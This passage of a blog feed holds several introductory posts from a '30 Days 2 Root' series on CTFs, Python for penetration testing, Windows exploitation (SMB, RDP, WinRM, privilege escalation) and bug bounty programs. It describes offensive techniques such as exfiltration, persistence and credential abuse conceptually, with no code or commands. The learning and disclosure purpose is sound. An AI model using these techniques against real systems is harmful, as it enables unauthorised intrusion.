&lt;p&gt;In live CTFs, there are event organizers that have a web page with all of the challenges available. These CTFs have a set start and end time, and teams are more likley to participate than a single person, but single-person teams are typically welcomed as well.&lt;/p&gt;

&lt;h3&gt;
  
  
  Boot 2 Root CTF Methodology
&lt;/h3&gt;

&lt;p&gt;Typically the methodology of a Boot 2 Root CTF is starting at a webpage to understand the functionality of the machine, and scan further to find vulnerabilities. From there, checking to see if there have been any recent &lt;a href="https://cve.mitre.org"&gt;CVEs&lt;/a&gt; that may be related to the machine. Once accessed, pivoting may be required.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---G-mYNDS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/rissct5nroiplilrjbu4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---G-mYNDS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/rissct5nroiplilrjbu4.png" alt="B2R Methodology"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Live CTF Methodology
&lt;/h3&gt;

&lt;p&gt;Live CTFs are typically jeopardy style CTFs. This means that each of the challenges are separated into categories that can be chosen from and completed individually. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--n7k2lnyv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/5c2zs5zklzoybrzoxqtf.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--n7k2lnyv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/5c2zs5zklzoybrzoxqtf.jpeg" alt="Example of jeopardy CTF"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This style can be helpful for teams to split up and focus on the things that they specialize in. For solo CTF players, this can help identify weaknesses and gaps in their knowledge.&lt;/p&gt;

&lt;h3&gt;
  
  
  How do I get started?
&lt;/h3&gt;

&lt;p&gt;The answer to this is one simple word: Writeups! Reading writeups/watching solution videos is the number one way to get better at CTFs. &lt;/p&gt;

&lt;p&gt;What is a writeup? At the end of every CTF, the people who created the CTF, or the participants tell how they solved the challenges in the CTF. Once these are posted, the people who didn't understand the challenge can go and read the answer so they can better understand similar challenges in the future.&lt;/p&gt;

&lt;p&gt;The thing is- nothing is stopping you from reading writeups of CTFs that you were never in! If you watch/read enough solutions, you begin to adopt a methodology for that specific type of challenge when you see it in a CTF. &lt;a href="https://medium.com/ctf-writeups"&gt;Here's a good starting place.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://ctftime.org/event/914/tasks/"&gt;Here's another one.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Those are just a few writeups, but there are literally thousands of writeups online! You can learn any skill by simply searching the desired topic and the word "writeup". &lt;a href="https://www.google.com/search?q=SMB+writeup"&gt;It's as simple as that!&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since I use HackTheBox a lot, my favorite site for writeups is &lt;a href="//ippsec.rocks"&gt;ippsec.rocks&lt;/a&gt;. He is amazing at explanations!&lt;/p&gt;

&lt;p&gt;Once you begin to explore the world of CTFs, you won't be able to stop. If you get good enough, you can even translate it into financial gain by playing CTFs that you win money for, or getting a job as a Penetration Tester!&lt;/p&gt;

&lt;h3&gt;
  
  
  Resources
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=Lus7aNf2xDg"&gt;Here's a video from an amazing Youtube channel&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=L2C8rVO2lAg"&gt;Another video from the same channel about CTFs&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>30d2r</category>
      <category>security</category>
      <category>ctf</category>
    </item>
    <item>
      <title>30D2R - May: Python</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Sat, 12 Dec 2020 03:45:43 +0000</pubDate>
      <link>https://forem.com/sshad0w/30d2r-may-python-ghj</link>
      <guid>https://forem.com/sshad0w/30d2r-may-python-ghj</guid>
      <description>&lt;p&gt;This post is a part of my &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;30 Days 2 Root&lt;/a&gt; challenge series.&lt;br&gt;
Essentially, I am trying to learn the basics of a different facet of cybersecurity each month. &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;Click here&lt;/a&gt; to learn about how the challenge works, or tell me what I should study next!&lt;/p&gt;

&lt;p&gt;One of the most lightweight, accessible, easy to learn programing languages in all of InfoSec has been learning Python. This powerful language has dominated the first few decades of the 21st century and has been a skill in high demand for anyone in any technical job.&lt;/p&gt;

&lt;p&gt;Even though Python can be used for things like web development, back end development, software development, and data science, we will focus on Python scripting, as most hackers are well versed in scripting in this interpreted language.&lt;/p&gt;

&lt;h3&gt;
  
  
  Networking
&lt;/h3&gt;

&lt;p&gt;Imagine you're a penetration tester. You just got your first reverse shell back and you've found that you will be detected if you download anything like Nmap. What do you do? You have to build your own port scanner. &lt;/p&gt;

&lt;p&gt;The Scapy module Python can be used to create a networking tools like port scanners on the fly when Nmap isn't available in the post exploitation phase. There's tons of classes and videos about this online. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--opLPKh9i--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/emlk03417l9msxxu6mvl.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--opLPKh9i--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/emlk03417l9msxxu6mvl.jpeg" alt="Scapy Module"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  On the inside
&lt;/h3&gt;

&lt;p&gt;Python can also interact with files. In a traditional use of python, this could be used to unzip or rename a large amount of files. In the mindset of a hacker, one could use a local instance of Python to download specific files in an attempt to gain a shell, or for data exfiltration.&lt;/p&gt;

&lt;h3&gt;
  
  
  Payloads and exploits
&lt;/h3&gt;

&lt;p&gt;Just as Python can be used to write useful automation scripts, it can also be used to write exploits. if a target system has a Python install, the attacker can write a Python script that does the work for them. Even if the target machine does not have a Python installation, tools can still be written in Python to help automate the exploitation phase.&lt;/p&gt;

&lt;h3&gt;
  
  
  Persistence
&lt;/h3&gt;

&lt;p&gt;Once on the network, Python can be used to establish persistence with python-like crontabs that continue to execute even after the process has been killed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Privilege escalation
&lt;/h3&gt;

&lt;p&gt;Python can can be used to automatically find if certain directories or files are available and writable, rather than manually checking for every available place.&lt;/p&gt;

&lt;p&gt;Python can be a very powerful language for Penetration Testers. There are countless opportunities for penetration testers when the understand the basics of the language. It's easy-to-pick-up style is wonderful for beginners to take advantage of as well. &lt;/p&gt;

&lt;h3&gt;
  
  
  Resources
&lt;/h3&gt;

&lt;p&gt;There are a million ways to learn Python, but here's some of my favorites:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=rfscVS0vtbw"&gt;Youtube course&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.udemy.com/course/python-for-pentesters/"&gt;Python for Pentesters (Udemy course)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.amazon.com/gp/product/B00ABY67JS/ref=dbs_a_def_rwt_hsch_vapi_tkin_p1_i0"&gt;Violent Python (Book)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are many other Youtube videos, Udemy courses, and books that can teach you the basics of what you need to know!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>30d2r</category>
      <category>python</category>
      <category>security</category>
    </item>
    <item>
      <title>30D2R - April: Windows Exploitation Basics</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Tue, 25 Aug 2020 01:21:31 +0000</pubDate>
      <link>https://forem.com/sshad0w/30d2r-windows-exploitation-basics-43j2</link>
      <guid>https://forem.com/sshad0w/30d2r-windows-exploitation-basics-43j2</guid>
      <description>&lt;p&gt;This post is a part of my &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;30 Days 2 Root&lt;/a&gt; challenge series.&lt;br&gt;
Essentially, I am trying to learn the basics of a different facet of cybersecurity each month. &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;Click here&lt;/a&gt; to learn about how the challenge works, or tell me what I should study next!&lt;/p&gt;

&lt;p&gt;Windows. There's literally no way you've never heard of the operating system before. Over a billion systems worldwide run Windows. This includes everything from Everyday devices like personal computers and phones, to business infrastructure like coca cola freestyle machines and point of sales machines like card readers, all the way to critical infrastructure like power grids and water filtration center infrastructure. &lt;/p&gt;

&lt;p&gt;Point is, the world is dominated by this operating system, so it'd better be secure.&lt;/p&gt;

&lt;p&gt;This is why I decided to pull back the pane on Windows in April. &lt;/p&gt;

&lt;h3&gt;
  
  
  File sharing
&lt;/h3&gt;

&lt;p&gt;When it comes to Windows, there are a multitude of options available for sharing files over a network. Some of the most common ways are FTP and SMB. Although there are many other ways, learning the basics of these two protocols will help you understand more complex services like SAMBA and CIFS.&lt;/p&gt;

&lt;h3&gt;
  
  
  File Transfer Protocol
&lt;/h3&gt;

&lt;p&gt;The File Transfer Protocol or FTP is a simple client/server architecture that allows one computer to stand up a server with files while other computers with the protocol client infrastructure installed can interact with this server. Although FTP is on both *nix systems and Windows systems, it is still a very common way to share files on a LAN or WAN. &lt;/p&gt;

&lt;p&gt;There is a feature called "anonymous login" which is colloquially referred to as "FTP anon". This allows anyone who has access to the  &lt;/p&gt;

&lt;h3&gt;
  
  
  Server Message Block
&lt;/h3&gt;

&lt;p&gt;Server Message Block is a versatile and powerful windows &lt;br&gt;
staple when it comes to file sharing. SMB can be used to print, send files within networks, and editing files as a group. This is done by using trusts between computers within networks. These trusts can be abused to exploit the relationships between these computers, leak information, and possibly escalate privileges. Tools like Smbmap and Smbclient can help facilitate leveraging this protocol.&lt;/p&gt;

&lt;h3&gt;
  
  
  Remote control without shells
&lt;/h3&gt;

&lt;p&gt;Often times, these tools aren't even special "Hacker tools". These are the same tools being used by administrators that the hackers just use to their advantage. These types of things are much harder to detect.&lt;/p&gt;

&lt;p&gt;Windows remote functionality is no different. &lt;/p&gt;

&lt;p&gt;Once the hacker penetrates the network and gains the credentials needed to to authenticate, the hacker uses RDP to watch the computers silently in the background, and possibly control them when no one is watching. This is why there should always be strong password and extensive logging if the service needs to be used. If the service isn't required in the organization, turn the feature off and make sure the port remains closed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Remote Desktop Protocol
&lt;/h3&gt;

&lt;p&gt;Imagine you're a manager in an corporate enterprise. No matter what your business is, some part of your enterprise will consist of a department that many people have to be on computers in. &lt;/p&gt;

&lt;p&gt;You'd need to know who's doing what, like who's actually doing work, who's following security protocols, and who has been away from their desk for too long. The IT help desk may even need to see the screens of the employees &lt;/p&gt;

&lt;p&gt;These same tools can be used and leveraged by the attacker.&lt;br&gt;
When the attacker uses RDP, they may pretend to be an administrator, or simply misuse this function for nefarious purposes. Mitigation is much more difficult because it typically means a human has to verify the validity of each RDP session, because the organization may use RDP for legitimate purposes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Remote Procedure Call
&lt;/h3&gt;

&lt;p&gt;Much like RDP, RPC is a client server feature in Windows machines that allow one computer to call a procedure in another machine. This is another tool that is typically used by Sysadmins but hijacked by hackers. It doesn't have a complete GUI like RDP, but it is just as powerful and can be abused by people with malicious intent.&lt;/p&gt;

&lt;h3&gt;
  
  
  Evil Winrm
&lt;/h3&gt;

&lt;p&gt;Windows also has a remote management protocol that functions very similarly to SSH. Even though windows does support SSH, this is another tool designed for server administrators that is often abused by attackers&lt;/p&gt;

&lt;p&gt;This is known as &lt;a href="https://docs.microsoft.com/en-us/windows/win32/winrm/portal"&gt;WinRM&lt;/a&gt; (Windows remote management). In July of 2014, OscarAkaElvis released &lt;a href="https://github.com/Hackplayers/evil-winrm"&gt;EvilWinRM&lt;/a&gt; on Github. This easily allowed pentesters to abuse this feature to remotely connect and control computers using the same protocol that SysAdmins do.&lt;/p&gt;

&lt;h3&gt;
  
  
  Powershell
&lt;/h3&gt;

&lt;p&gt;Powershell is the native scripting language of the Windows operating system. Powershell is the Windows version of Bash. This language can do anything so becoming well versed in this language would be a powerful skill that would make anyone an extremely effective Windows hacker. Not only this, but learning this language means that no outside tools based on python or ruby have to be put on the computer if the attacker can build them in Powershell. This allows the attacker to be much more stealthy. &lt;/p&gt;

&lt;h3&gt;
  
  
  Privesc
&lt;/h3&gt;

&lt;p&gt;There are &lt;a href="https://book.hacktricks.xyz/windows/windows-local-privilege-escalation"&gt;countless ways to skin the cat that is Windows privilege escalation.&lt;/a&gt; The most common ways are using &lt;a href="https://krebsonsecurity.com/tag/syskey/"&gt;syskey&lt;/a&gt; attacks, &lt;a href="https://powersploit.readthedocs.io/en/latest/Privesc/Get-System/"&gt;getsystem&lt;/a&gt;, or exploiting executable files. More advanced techniques are things like &lt;a href="https://trustfoundry.net/what-is-dll-hijacking/"&gt;DLL hijacking&lt;/a&gt;, &lt;a href="https://owasp.org/www-community/attacks/Binary_planting"&gt;Binary path escalation&lt;/a&gt; or deploying a &lt;a href="https://kakyouim.hatenablog.com/entry/2020/05/27/010807"&gt;Kernel exploit&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As you can see, most if not all of Windows hacking techniques  are simply using its functionality against itself. Most of the tools and techniques I showed you today did not involve a special method that only hackers use, I showed you the same tools and protocols used by Blue teamers and regular users of Windows use every single day. The only thing that changed was the intent on how they were used. Once again, this goes to show that &lt;a href="https://www.instagram.com/p/CAod9wkjduf/"&gt;hacking is a mentality, not a skill&lt;/a&gt;. &lt;/p&gt;

</description>
      <category>challenge</category>
      <category>security</category>
      <category>30d2r</category>
      <category>windows</category>
    </item>
    <item>
      <title>30D2R - March: Bug Bounty Basics</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Sun, 21 Jun 2020 03:18:04 +0000</pubDate>
      <link>https://forem.com/sshad0w/30d2r-march-bug-bounty-basics-3ehi</link>
      <guid>https://forem.com/sshad0w/30d2r-march-bug-bounty-basics-3ehi</guid>
      <description>&lt;p&gt;This post is a part of my &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;30 Days 2 Root&lt;/a&gt; challenge series.&lt;br&gt;
Essentially, I am trying to learn the basics of a different facet of cybersecurity each month. &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;Click here&lt;/a&gt; to learn about how the challenge works, or tell me what I should study next!&lt;/p&gt;

&lt;h2&gt;
  
  
  Why is Bug Bounty needed?
&lt;/h2&gt;

&lt;p&gt;Nowadays, every organization needs a website to reach further audiences. Businesses need more people to see their product, nonprofits need a place to accept donations, and schools and governments can register people in their systems without having to wait in long lines. Websites and apps have become the cornerstone of our society. We order products and services on them, we trust they're they &lt;strong&gt;only&lt;/strong&gt; ones with our private information like passwords or &lt;a href="https://www.google.com/search?&amp;amp;q=define+pii"&gt;PII&lt;/a&gt; that could allow someone steal your identity. Sometimes we even give them access to our cameras, microphone and contacts to enable full functionality. &lt;/p&gt;

&lt;p&gt;What would happen if an attacker could access &lt;strong&gt;&lt;em&gt;all&lt;/em&gt;&lt;/strong&gt; of this? &lt;/p&gt;

&lt;p&gt;This is why organizations need their WebApp assets tested. Needless to say, this skill is in &lt;em&gt;extremely&lt;/em&gt; high demand in the age of websites being the point of contact and point of sale for most companies. To ensure the privacy and safety of their users, these organizations start a bug bounty program.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Bug Bounty?
&lt;/h2&gt;

&lt;p&gt;When companies start a bounty program, they typically partner with a platform that hosts their bounty program. Some larger companies host and manage their program on their own, but most use a bounty platform like &lt;a href="https://www.hackerone.com/"&gt;Hackerone&lt;/a&gt; or &lt;a href="//www.Bugcrowd.com"&gt;Bugcrowd&lt;/a&gt; to host the program.&lt;/p&gt;

&lt;p&gt;The program owners establish a scope, prices for bounties and any other information the researchers may need for their testing such as login information for a tester account.&lt;/p&gt;

&lt;p&gt;After the program is posted, freelance security researchers test the assets in scope until they find a vulnerability. Once a vulnerability is found, the researcher reports it to the security management team, and the team triages the report. &lt;/p&gt;

&lt;h2&gt;
  
  
  Platforms
&lt;/h2&gt;

&lt;p&gt;There are many bug bounty platforms for bug bounty. The two biggest ones are &lt;a href="https://www.hackerone.com/"&gt;Hackerone&lt;/a&gt; and &lt;a href="//www.Bugcrowd.com"&gt;Bugcrowd&lt;/a&gt;. These platforms do have a few differences, but for the most part they both allow researchers to chose from a collection of bounty programs and start hacking as soon as they sign up.&lt;/p&gt;

&lt;p&gt;Just because Hackerone and Bugcrowd are the most popular platforms, that doesn't mean that there aren't other ones out there. Most larger companies have a web page or an email specifically designed for submitting bugs. If you find a bug accidentally, make sure that you check to see if the organization has a bounty program. Even if they don't, still submit the bug to an official email address owned by the organization. &lt;/p&gt;

&lt;h3&gt;
  
  
  Private programs
&lt;/h3&gt;

&lt;p&gt;When a user on a platform has enough clout (which is gained by successfully submitting quality reports and triaging bugs successfully), sometimes they may earn an invite into a private program. &lt;/p&gt;

&lt;p&gt;Private programs are exactly like public programs, but with less researchers involved. Private programs are typically invite-only. &lt;/p&gt;

&lt;h4&gt;
  
  
  How private programs benefit organizations:
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Researchers with specific skill sets can be invited into the program to test in technologies that they're already familiar with&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;There are less researchers to work with, so the triage team and the researchers can create better relationships and and more attention can be given to specific researchers.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If the testing environment contains proprietary or secret information, the organization can control who does and doesn't have access to it (Sometimes this can mean that NDAs will be signed or background checks will be run prior to joining) &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  How private programs benefit researchers:
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A smaller amount of people allows for more money to be paid out to each bounty researcher&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A large problem in public programs is that lots of people have the the same idea so they send in a report about exploiting the same vulnerability &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A smaller amount of people in programs allows the researcher to be heard and their bugs can be addressed faster. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Organizations can also raise and lower Bounty prices to give incentive. Especially if a new feature has been added recently.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Methodology
&lt;/h2&gt;

&lt;p&gt;There are many different methodologies for hunting bugs. The only requirement is understanding how a website works and having a mindset of how to subvert security protocols or access things that shouldn't be available. &lt;/p&gt;

&lt;p&gt;Here's a few methodologies I've heard while researching &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Learn a single bug type and look for it on every program. Once you've gotten good at it, move on to another.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Read the OWASP top 10, learn how to identify and exploit the entire list, then look for those bugs in every platform. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enroll in a bug Bounty bootcamp/course and follow the instructor&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Typical bugs
&lt;/h2&gt;

&lt;p&gt;Every year, the most common bug types are recorded and culminated into a list called the OWASP top ten. It consists of the top ten vulnerabilities in the last year. These are typically the most common vulnerability in the year following. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://owasp.org/www-project-top-ten/"&gt;https://owasp.org/www-project-top-ten/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;*** NOTE: Lots of people use this strategy, if you decide to follow this strategy, you will find lots of bugs at the expense of finding out others had already found them most of the time. &lt;/p&gt;

&lt;h2&gt;
  
  
  Automation
&lt;/h2&gt;

&lt;p&gt;Lots of the time, manually enumerating a website take a long time. Clicking every button, visiting every page and every single input field can be tedious and slow. This slowness can also lead to having duplicates, which is extremely frustrating.&lt;/p&gt;

&lt;p&gt;The way to solve this is automation. why spend 30 minutes looking for a possible xss when you can spend 30 seconds running a script that tells you if its there and instantly and submits the report? &lt;/p&gt;

&lt;p&gt;This is why scripting is such a powerful tool that separates intermediate and advanced hackers. The sooner you learn scripting, the faster you become an effective and efficient hacker. &lt;/p&gt;

&lt;h2&gt;
  
  
  How to generate a quality report
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;SCREENSHOTS, SCREENSHOTS, SCREENSHOTS. Providing a quality proof of concept with a clear video or a step-by-step guide how to exploit the bug. Taking &lt;strong&gt;extensive&lt;/strong&gt; notes helps a lot with this.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Be respectful and professional. You're still talking to real people who are trying to improve the security posture of the internet. Needless to say, being rude probably wouldn't help the amount of bounty you earn. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Explain the &lt;strong&gt;impact&lt;/strong&gt; of the bug! This is a step lots of people miss. Explain how the bug could impact the organization and how they can triage the issue. As I read on the &lt;a href="https://www.hackerone.com/blog"&gt;Hackerone blog&lt;/a&gt;, a "User database leak means a lot more to Pornhub than it does to Twitter". Anything that deals with money, passwords or names has lots of impact.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://www.bugcrowd.com/resources/webinars/how-to-make-a-good-submission/"&gt;Here's a good video by Bugcrowd on quality report generation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The bug bounty life is not easy. It requires lots of discipline and hard work to learn the skills, apply them in a practical situation, and write about them in a way in which someone else will understand. That is &lt;strong&gt;not&lt;/strong&gt; easy at the beginning. Persistence goes a long way when deciding to become a bug bounty hunter. &lt;/p&gt;

</description>
      <category>30days2root</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>challenge</category>
    </item>
  </channel>
</rss>
